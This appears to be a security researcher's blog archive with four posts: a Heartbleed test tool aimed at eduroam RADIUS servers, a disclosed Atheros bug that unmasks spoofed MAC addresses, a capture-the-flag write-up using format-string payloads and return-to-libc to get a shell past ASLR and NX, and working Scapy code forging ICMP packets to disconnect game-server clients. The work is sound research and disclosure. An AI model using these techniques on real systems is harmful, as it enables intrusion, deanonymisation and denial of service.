Showing posts with label network. Show all posts
Showing posts with label network. Show all posts

Friday, 30 May 2014

ApBleed: Heartbleed over WPA1/2 Enterprise

Tl;dr: ApBleed is my proof-of-concept to test heartbleed against wireless networks. Patches welcome.

Once the heartbleed vulnerability in OpenSSL was made public, most focused on its applicability to web servers. Other targets such as SVN servers, VPNs, etc. were also mentioned. However, there was little public discussion about the impact of heartbleed on wireless networks.

Nevertheless, it was clear heartbleed was also exploitable against WPA1/2 enterprise networks, even if it wasn't discussed as publicly as other heartbleed stories. Normally enterprise networks use one of the many EAP methods inside an SSL tunnel to authenticate users. If OpenSSL is being used, this SSL tunnel might be vulnerable to heartbleed.

Of particular interest are networks like eduroam. Eduroam is a world-wide roaming access service between research institutions. This means that I can go to a different country, see an eduroam hotspot, and connect to it using the credentials of my home institution. What's interesting is how my credentials are checked. It's done by setting up an SSL tunnel to the RADIUS server of my own institution. The eduroam network will take care of the necessary packet routing. The image below illustrates this (taken from eduroam website):


Let's assume I'm a student at lsu.edu and currently visiting an institution of utk.edu. If I now connect to an eduroam hotspot, an SSL tunnel will be set up between my device and the RADIUS server of lsu.edu (i.e. my own institution). If my credentials are valid, lsu.edu will notify utk.edu that I should be allowed on the network.

Why is this interesting for an attacker? Because the SSL tunnel is set up before user authentication, and even before you are assigned an IP. The only thing known about you is your MAC address and your "home" institution (i.e. the realm defining your home institution). Of course, an attacker can spoof both the MAC address and the home institution. The attacker only has to be within range of an eduroam hotspot, and he or she can pick any eduroam hotspot at will. The eduroam network will then forward packets to the RADIUS server the attacker specified (i.e. the realm spoofed by the attacker). This is what allows a user to directly set up an SSL tunnel with the radius server of their home institution. However, this means we can anonymously connect to any institution we want!

The guys from eduroam quickly responded to this. Hours after heartbleed got public they posted a warning on their website. One day after heartbleed, with some help from the HostApd mailing list, they had a working proof of concept to test whether institutions were vulnerable. To quote eduroam:
Following up on the heartbleed vulnerability in OpenSSL: it is confirmed that EAP-authentication in RADIUS servers is vulnerable to the attack. It is therefore extremely important to upgrade OpenSSL and restart RADIUS services as soon as possible.
The attack is feasible from any public eduroam hotspot, not just your RADIUS peers.
Federation-level admins in Europe will receive notice from the eduroam OT with a list of vulnerable realms. [..]
While the tools are not publicly available for security reasons, we're providing the service of scanning a realm list for global federation admins on their request. [..]
Though I focus on eduroam, every networking using enterprise authentication with an EAP method inside an SSL tunnel might be vulnerable to heartbleed. Nevertheless, eduroam is more interesting than your ordinary network, because it allows you to anonymously connect to any institution which has joined the eduroam federation.

Few public proof-of-concepts were available (if any at all). I can think of three reasons for this. First, not everyone was aware enterprise authentication was vulnerable to heartbleed. Second, it's a little bit harder to make a working proof-of-concept against wireless networks. Third reason might have to do with the impact of public exploits. Because authentication (and hence the SSL tunnel) takes place before getting access to a network, it's not possible to consult a certificate revocation list (CRL) or query the certificate status online (with OCSP) [eduroam]. So revoking certificates is not possible.

However, recently proof-of-concepts are being released. So it's time to release my own proof-of-concept as well :) I modified wpa_supplicant so, once connected to an AP and ready to talk to the radius server, it opens a local socket. This means you can now connect to this socket and pretend it's the RADIUS server. The big advantage of this approach is that you can use any existing heartbleed tool to test the radius server. Simply let the heartbleed tool connect to the socket created by my proof-of-concept. The code has not been tested thoroughly, but worked in all my small experiments. Get a copy of my PoC (called ApBleed) at github. Patches are welcome!

Some example outputs of running my tool:


Using existing heartbleed tools to connect to the radius server:

Sunday, 10 November 2013

Unmasking a Spoofed MAC Address (CVE-2013-4579)

Update: This vulnerability has been fixed in kernel 3.8.13.16 and above.

Certain Atheros wireless drivers do not properly update the MAC address when changed (spoofed) by a user. This allows an active attacker to retrieve the original MAC address. In short, spoofing your MAC address does not always hide the original MAC address.


Background

While working on the ath9k_htc driver (used by Atheros USB WiFi donglesI noticed the driver did not properly set a spoofed MAC address. Though the device appears to use the newly assigned MAC address correctly, the flaw allows an attacker capable of injecting packets towards the target to uncover the original MAC address.

The cause of the problem lies in how the driver and hardware implement Multiple Virtual Interface (VIF) support. Using this technology a single wireless chip can listen on multiple MAC addresses. Because sending an acknowledgement to correctly received packets is done in hardware, a question that arises is how the wireless chip can quickly determine whether a wireless packet was destined for it. At first you'd think there must be some method to give the hardware a (possibly fixed length) list of MAC addresses to listen on. However, some devices uses a different strategy (and in particular Atheros devices uses this method). Their strategy is the following: the wireless chip has a register which contains the "main" hardware MAC address (mainmac), and a register containing a mask (macmask). Given an incoming frame destined for a particular mac (incmac), it sends an ACK and accepts the frame if and only if: (mainmac & macmask) == (incmac & macmask). You can see that macmask determines which bits of incmask (MAC of the packet being received) have to match those of mainmac. Essentially the macmask represents the locations where the bits of all the virtual MAC addresses are identical to the "main" hardware MAC address (mainmac).

To clarify, consider a device having two virtual interfaces, one with MAC address 72:40:a2:3f:65:5a and another one with address 8e:8e:95:cd:90:4e. In binary these MAC addresses are:
01110010 : 01000000 : 10100010 : 00111111 : 01100101 : 01011010
10001110 : 10001110 : 10010101 : 11001101 : 10010000 : 01001110
Now, macmask should consist of the bits where both these MAC addresses are the same (mathematically that's the negation of the XOR). In our example the mask would be:
00000011 : 00110001 : 11001000 : 00001101 : 00001010 : 11101011
So the wireless chip can pick either 72:40:a2:3f:65:5a or 8e:8e:95:cd:90:4e as its main MAC address, and then set the mask to 03:31:c8:0d:0a:eb. Frames sent to either of these MAC addresses will now be accepted and acknowledged. For more details see the comments in the atheros driver source file. Unfortunately this technique has the side effect that the wireless chipset now listens on more MAC addresses then we really want, as not all bits of incoming frames are checked!

Vulnerability Details

When a MAC address is spoofed the driver does not simply update the mainmac register. Instead the mainmac register will still contain the original MAC address, and macmask will contain the bits where the original and spoofed MAC agree (see previous section). The wireless chip will acknowledge frames sent to the spoofed MAC addresses, and the operating system will include the spoofed MAC address in all packets, so everything will seem to work properly. Unfortunately this method allows an attacker to uncover the original MAC address bit by bit (given the spoofed MAC address). Specifically we can determine the value of any bit of the original MAC address as follows:
  1. Flip the bit in the spoofed MAC address and send a packet to the modified MAC address.
  2. We now have two cases:
    • The device replies with an ACK: This means the mask for this bit is zero, thus the bit in the spoofed MAC address was different than the original MAC address.
    • Device doesn't reply: This means the mask for this bit is one, so the bit we are guessing was identical to the bit in the spoofed MAC
By doing this for each bit, we eventually learn the complete original MAC address.

The vulnerability has been successfully exploited against AR7010 and AR9271 chipsets (which use the ath9k_htc driver) under following operating systems:
  • Debian 7.2.0 amd64 and i386
  • Kali 1.0.5 amd64 and i386
  • Ubuntu 13.10 amd64 and i386
The ath9k driver is not vulnerable (see comments below). The ath5k and ath10k were not tested and/or investigated. Other drivers also capable of creating multiple virtual interfaces with different MAC addresses, on a single device, might also be susceptible to the same vulnerability (so feel free test your device and post results).

Exploit

A proof of concept has been implemented in python using scapy. Given a MAC address that you suspect to be spoofed the tool will attempt to uncover the original MAC address. In case the tool returns the same MAC address as you entered, it means the target is not susceptible to the attack, or that the target is using the default MAC address of the device.

Patch

Update: I have made a patch and submitted it to the linux-wireless@vger.kernel.org mailing list (before this patch I also notified the ath9k-devel mailing list of the bug and filed a bug report for debian). The CVE ID of this bug is CVE-2013-4579.

Final Remarks

Though spoofing a MAC address can be done securely by simply updating mainmac, an attacker can use the same technique to learn that two virtual MAC addresses actually belong to the same user. So if you put up several virtual interfaces (possibly with random MAC addresses) they can be easily linked back together (again, that's if your device uses a method similar to the one described above). This flaw is inherent to usage of macmask and, at first sight, seems difficult to fix.

Saturday, 6 April 2013

UCSB iCTF: Hacking Nuclear Plants and Pwning ASLR/NX

The following story took place on a Friday evening, with the sun long gone from the horizon, in a dimly lit room where a few hackers teamed up to do what they do best: fuck shit up.

A former security researcher at KU Leuven took his fifth coffee this hour. Or was it the sixth? He didn't care. Today there was only one thing on his mind: breaking into the nuclear power plants of those Cyberdyne sons o' bitches. It seemed easy enough at first sight. Even his ex-colleague, whom not always had the brightest moments, was able to connect to the power plants using netcat. A nice little menu greeted us:


Our hackers were already familiar with the menu. New nuclear plants could be added and existing ones could be listed. Even the configuration of each power plant, which consists of the number of elements present in the power plant, could easily be updated. And last but not least there were the options to get and set a self-destruct code. This self-destruct code was of course the flag they were after - the reason they were already awake for 16 hours. Unfortunately the self-destruction code can only be accessed if you know a rather lengthy password. But rest assured that such pity defences don't stop true hackers.

By bribing the right people they managed to obtain the binary code responsible for displaying the menu. With this information in hands, it didn't take them long to find the first weak spot in the Cyberdyne system: a format string vulnerability [1]. After a plant is created, or after editing an existing nuclear plant, the amount of uranium was checked by the following function:


The code above was generated by IDA Pro and the Hex-Rays Decompiler, both state of the art tools used by the bad and the good guys. For our hackers it was clear: if the level of uranium is equal or lower to zero, a format string vulnerability is triggered (line 10), potentially enabling them to take over the system. Using the control panel it wasn't possible to edit the plant such that it had a non-positive uranium level, so it wasn't clear how they could force the system to execute this code. But a quick look at the code responsible for adding a new power plant changed the situation:


After staring at this code and getting another coffee, it all became clear. At least for now. Our hackers eagerly discussed it with each other in precise detail: The code first calls get_random_num a few times to initialize the levels of all elements present in the power plant (oxygen, carbon, boron, zirconium and uranium). Uranium is one of those elements. Then the name that has been given to the new power plant (line 6) is copied to the memory region containing all information about the power plant (line 13). This memory region begins with the name of the plant, and ends with the levels of each element. However the string copy function possibly overwrites the levels of each element! This is because all information about a plant is saved in only 112 bytes (see line 4), and the string copy function copies at most 0x70 bytes (line 6). Recall that 0x70 is the hexadecimal representation of 112, meaning the name of the plant potentially overwrites all the other information in the memory region.

After the plant name is copied, the function check_secondary_elems_level checks that the levels of the secondary elements (oxygen, carbon, boron and zirconium) are between, and including, 1 and 999. Our hackers concluded that entering a long name will overwrite the levels of each elements, and if done properly will assure that the vulnerable printf statement gets executed. In other words the vulnerability has been confirmed, and it's time to use it to destroy those Cyberdyne scums.

A Second Entry Point

Amazingly the not-so-bright ex-colleague found another vulnerability in the code. Looking again at the code to add a power plant, and this time focussing on where the data is saved, we get the following:


He saw that there are no checks whether there still is enough memory left when adding a new power plant! The plantid variable, which is used to determine where in memory to save the next plan, is always increased by one without checking whether there's actually space left. Argument a1 is pointing to the memory where the information will be stored and is allocated on the stack by the calling function. Essentially all nuclear plants are stored in one big "list" on the stack, and eventually there won't be enough space to save them all, making the stack go BOOM. And when the stack goes boom, the hackers gain control. Unfortunately it took our colleague a while to find this, and in the end this vulnerability wasn't used. We all smiled though: typical Cyberdyne, they always make more than one mistake.

For hackers the backdoor is always open.
"....that's what she said!"

Bypassing ASLR and NX

Cyberdyne knew the power plant software was not to be trusted. To remedy this they hired some of the best security researchers around the world to create some defences. Unfortunately Cyberdyne was too incompetent to actually implement them, making them ditch all the excellent research. Instead they settled for two other (already well known) protection mechanisms: ASLR and NX

One of the older hackers of the group was reminiscing about exploits and vulnerabilities back in the good old days. The days where all programs, even the operating system, lived in the same memory region. Ah, it was just too easy to exploit programs then. He also recalled how information leakage vulnerabilities were considered useless. These are vulnerabilities that don't let you take over a system, but only make the system reveal some information, like where certain data is stored. The problem is that even though you know where certain data was stored, you can't necessarily read it, making people ignore these attacks. But it was clear to him that such information leakage attacks would be essential to bypass ASLR and eventually attack Cyberdyne.

The older hacker begins his explanation to the youngers ones: The format string exploit can be used as an information leakage attack to defeat ASLR. When using %10$p%11$p as a plant name it will display the saved frame pointer (ebp) followed by the return address (eip). Remark that the plant name must be followed by data so the appropriate number of elements will be overwritten in order to reach the vulnerable printf call. Though the binary isn't position independent, and hence can't fully benefit from ASLR, this information leakage defeats ASLR. The absolute position of libraries can be derived from the pointers in the .GOT section, defeating ASLR for loaded libraries as well. More precisely, the first 4 bytes of the plant name will contain a pointer to the .GOT entry of fork() followed by the string %22$s. This will print out the string located at the .GOT entry of fork() and hence prints out the address of fork (assuming there are no zeros in the address)! Finally, the address of execve() can be found by adding a predictable offset to that of fork(). This teaches us all the addresses we will need when constructing an exploit. The eyes of the other hackers opened wide open - he's right! Even with ASLR we can take this fucker down!

Bypassing protections like a boss.

The second protection mechanism to defat is NX: the stack and heap of the binary are not executable, meaning we can't copy over shellcode and execute it. One of the hackers suggested using a return-oriented programming approach. Quickly they all agreed on this, but simplified the idea to an easier to execute return-to-libc attack. To accomplish this feat they have to control the value of the stack pointer (esp) before executing a return instruction. This can be done by overwriting the saved frame pointer used in the prologue and epilogue of a function. Let's look at the disassembled code of printf to better understand what our hackers are going to do:


Here the register ebp is used to contain the frame pointer, and its value is saved on the stack at the start of the function and restored at the end of the function. Using the format string exploit we can overwrite the saved ebp value, and hence we can control the value of ebp at the end of the printf function. This is done using traditional format string exploits and the %hn format specifier. However, we need to control esp and not ebp! Patience. Let's look at the disassembled code of check_uranium_level:


The next to last instruction is leave, which is equivalent with mov %ebp, %esp followed by pop %ebp. Aha! Here the register esp is set to ebp, and we control ebp since we overwrote it in the call the printf! With control over esp we can do a traditional return-to-libc attack, and in our case we will construct a fake stack frame so the program will execute execve("/bin/sh", NULL, NULL).

The hackers are ready to attack Cyberdyne.

Writing the Exploit

Time to get to business. First the location of the stack and the code (link to code) is extracted using
%10$p:ENDEBP:%11$p:ENDRET: 
Then we extract the location of execve() (link to code). This is done by reading the .GOT entry of fork() and adding the appropriate offset so we end up with the address of execve(). The given input is of the form:
<addr .GOT entry fork>%22$s:ENFORK:
We continue by storing the stack frame for the return-to-libc attack. To construct it we use the addresses extracted in the previous two steps. The code to construct the stack frame and store it is:


Important to note is that the memory region where the power plant info is saved is first initialized to zero. Hence the first few bytes after the plant name also contains zeros, and thus the argv and envp arguments are pointers to NULL.

Finally we trigger the return-to-libc exploit by overwriting the saved frame pointer (ebp) in the print function:


When combining all the parts we get the following beautiful result (link to code):

There is no right and wrong. There's only fun and boring.


Exploit Reliability

A final note is due about the reliability of the current exploit. It assumes there are no whitespace characters (space, tab, newline, vertical-tab, form-feed characters, or terminating zero) within any of the (extracted) addresses. If there are the exploit will fail as not all data of the payload and/or exploit will be read during the scanf call. However this is only a limitation of the current exploit: we can write any byte using the format specifier %hn and read any byte using %s. This allows us to create an exploit which will work under any environment.

Background

The UCSB International Capture The Flag (iCTF) is a computer security challenge where participants have to attack other systems and defend their own. This year we participated with our KU Leuven hacknamstyle research team.

To get a feel of the atmosphere of a security CTF, the video below shows the rwthCTF from the perspective of the organizers (and of course we also participated in that CTF).


For the iCTF our team successfully exploited 4 challenges: nuclearboom, water, pesticides and traintrain. This got us quite some attack points, though we didn't focus on defence, making us end on a respectable 37 place out of 98 participating teams.

In this post I focused on one challenge: nuclearboom. I've already encountered a few write-ups on nuclearboom [codezen, lifayk], but those only explain how to steal the flag, whereas my exploit actually make it spawn a (remote) shell. To do this we have bypassed both ASLR and NXboth widely used protection mechanisms in modern operating systems and programs. It turned out that this challenge was perfect to show how information leakage defeats ASLR, and how a return-oriented-programming techniques can defeat NX.

Footnotes

[1] After accepting an incoming connection stdout, stdin and stderr are replaced with the socket file descriptor using dup2. This way the program can simply use sscanf and printf, knowing that everything actually happens over the TCP connection. So in this case the output of the printf call will be redirected over the TCP connection.

Wednesday, 12 October 2011

Recvfrom Problems & Forging ICMP Unreachable Packets

This post will explain how you can use forged ICMP Destination Unreachable packets to attack a vulnerable application. The goal is to attack a server and disconnect an arbitrary connected client. I will begin by explaining a bug I encountered while working on a program. This bug was an indicator that the application was vulnerable to the attack I'm about to describe. So just to be clear, at the end of this post we will attack the application I'll describe in the beginning of this post. Hence it's worth reading the first part of this blog post ;)

The Bug: Recvfrom Problems

I was reverse engineering a server application and adding a feature that allows you to ban IP's and subnets on an application level. This was accomplished by injecting a custom build DLL and detouring the recvfrom function (the application in question only uses UDP and is for Windows). Basically whenever the server called recvfrom it got redirected to my own function called dt_recvfrom. In the beginning dt_rcvfrom looked like this (the code is explained in words below the code fragment):

 int WINAPI dt_recvfrom(SOCKET s, char *buff, int len, int flags,  
    sockaddr *from, int *fromlen)  
 {  
    int rval;  
      
    // Always save the source IP and port of the packet  
    sockaddr_storage localFrom;  
    int localFromlen = sizeof(localFrom);  
    memset(&localFrom, 0, sizeof(localFrom));  
   
    // Call the true recvfrom function and exit if there was an error  
    rval = truerecvfrom(s, buff, len, flags, (sockaddr*)&localFrom, &localFromlen);  
    if(rval == SOCKET_ERROR)  
       return SOCKET_ERROR;  
      
    // Correctly set from and fromlen argument if not NULL  
    if(from != NULL && fromlen != NULL)  
    {  
       if(*fromlen < localFromlen)  
       {  
          // The fromlen parameter is too small to accommodate  
          // the source address of the peer address  
          WSASetLastError(WSAEFAULT);  
          return SOCKET_ERROR;  
       }  
   
       // Save the values  
       memcpy(from, &localFrom, localFromlen);  
       *fromlen = localFromlen;  
    }  
      
    // If banned, ignore packet  
    if(IsBanned((sockaddr*)&localFrom))  
    {  
       // MSDN: "If the connection has been gracefully closed,  
       // the return value is zero"  
       return 0;  
    }  
      
    return rval;  
 }  

The function first declares its own from and fromlen variables. It has to do this because recvfrom is allowed to called with NULL values for both these parameters. And in our example we must always save the source address because we want to ban certain IP's or subnets. We then call the true recvfrom function using the appropriate arguments. When an error occurs we simply pass it along to the caller. Otherwise we copy the from and fromlen values to the actual arguments if needed. Finally we check if the source address has been banned. If so we return the value zero which signifies that the connection has been gracefully closed, which seems to be a decent option to let the program know it should no longer expect data from that source address.

My question for you is: Can you spot the mistake in this code? Yes, the code above contains an error.

A hint is that the code incorrectly handles a specific error returned by the true recvfrom function.

Another hint is that in my case this caused the following bug: At random times an arbitrary client would receive a message telling that his connection had been closed down. This client was removed because the server deemed it as disconnected.

What goes wrong is that the recvfrom function can return the error code WSAECONNRESET. That's right, when you're trying to receive UDP packets you can actually get a connection reset error. Reading the documentation we get the following: "WSAECONNRESET: The virtual circuit was reset by the remote side executing a hard or abortive close. The application should close the socket; it is no longer usable. On a UDP-datagram socket this error indicates a previous send operation resulted in an ICMP Port Unreachable message". So when a host receives an ICMP Destination Unreachable packet and its data field contains an IP and UDP header, the host will attempt to forward this error to the socket that previously attempted to send that data. The problem with our code is that if an WSAECONNRESET is returned we do not copy the local from and fromlen variables to the arguments of the caller! They are only copied when no error is returned!

So what happened in my case is that recvfrom would return WSAECONNRESET, but because the from and fromlen arguments weren't updated, those argument still contained old values. At times those old values contained the addresses of connected clients. These connected clients were then deemed as disconnected and removed from the server. This is illustrated by the following code that the application probably uses:

 rval = recvfrom(s, buff, len, fromAddress, fromlen);  
 if(rval == SOCKET_ERROR)  
 {  
    if(WSAGetLastError() == WSAECONNRESET)  
       removeClient(fromAddress);  
 }  

So whenever the server receives an ICMP Destination Unreachable it will remove the client. Thus the correct code for our dt_recvfrom function is (only the relevant part is shown):

 rval = truerecvfrom(s, buff, len, flags, (sockaddr*)&localFrom, &localFromlen);  
 // Correctly set from argument if not NULL  
 if(from != NULL && fromlen != NULL)  
 {  
    if(*fromlen < localFromlen)  
    {  
       // The fromlen parameter is too small to accommodate
       // the source address of the peer address  
       WSASetLastError(WSAEFAULT);  
       return SOCKET_ERROR;  
    }  
    // Save the values  
    memcpy(from, &localFrom, localFromlen);  
    *fromlen = localFromlen;  
 }  
 if(rval == SOCKET_ERROR)  
    return SOCKET_ERROR;  

Even the correctness of this code can be discussed. After all, is it a good idea to potentially return the error code WSAEFAULT while true recvfrom returned a different error code? We will not divulge in this discussion and simply assume this code will do.

Forging ICMP Destination Unreachable Packets

Since you've read the title of this post you might already have an idea how we can launch an attack in this situation. If we know the IP and port of a client connected to the server, we can forge an ICMP Destination Unreachable packet that looks as if it came from the connected client. The server will then remove the client and close the (logical) connection. Sending fake packets is easy using Scapy (a Python library). The following python code will send a fake ICMP Destination Unreachable packet with a source address of 192.168.234.1 to 192.168.234.131 telling the host that the UDP packet send from 192.168.234.131:2302 failed to reach the host 192.168.234.1:2305. Read that last line again. And once more to properly understand what's going on. Good.

 from scapy.all import *  
   
 client = "192.168.234.1"  
 clientPort = 2305  
 server = "192.168.234.131"  
 serverPort = 2302  
   
 ip = IP()  
 icmp = ICMP()  
   
 ip.dst = server  
 ip.src = client  
   
 icmp.type = 3 # Destination Unreachable  
 icmp.code = 3 # Port unreachable  
   
 ipfail = IP()  
 udpfail = UDP()  
   
 ipfail.dst = client  
 ipfail.src = server  
   
 udpfail.dport = clientPort  
 udpfail.sport = serverPort  
   
 send(ip/icmp/ipfail/udpfail)  

Let's test this attack against the program I was working on: the Halo server. A virtual machine running Windows Server 2003 is running a halo server on 192.168.234.131:2302. The host of the virtual machine will act as a client and connect to the server using its IP 192.168.234.1:2305. This is shown in the image below:


In a second virtual machine I'm running Backtrack 5 R1. The IP of this machine is 192.168.234.130 but this will be irrelevant for us. Using Backtrack I will execute the python code shown above (of course I already included the correct IP addresses in that code ;) to forge an ICMP Destination Unreachable packet. Lo and behold, the client gets a game closed down message!



This happens because the server removed the client from its player list and is no longer sending data to the client. The client will then think the server closed down.

Conclusion

Forging ICMP messages is a known attack. I have also contacted Microsoft about the bug in Halo and they replied that this is a common attack scenario. They also said that this is one of the reasons Windows allows ICMP firewalling. Hence people can simply block these packets.

When designing an application it's not necessarily wrong to trust the WSAECONNRESET error message. In some cases this behavior could be useful (e.g., in a trusted networked). Of course it's still best to avoid it using it!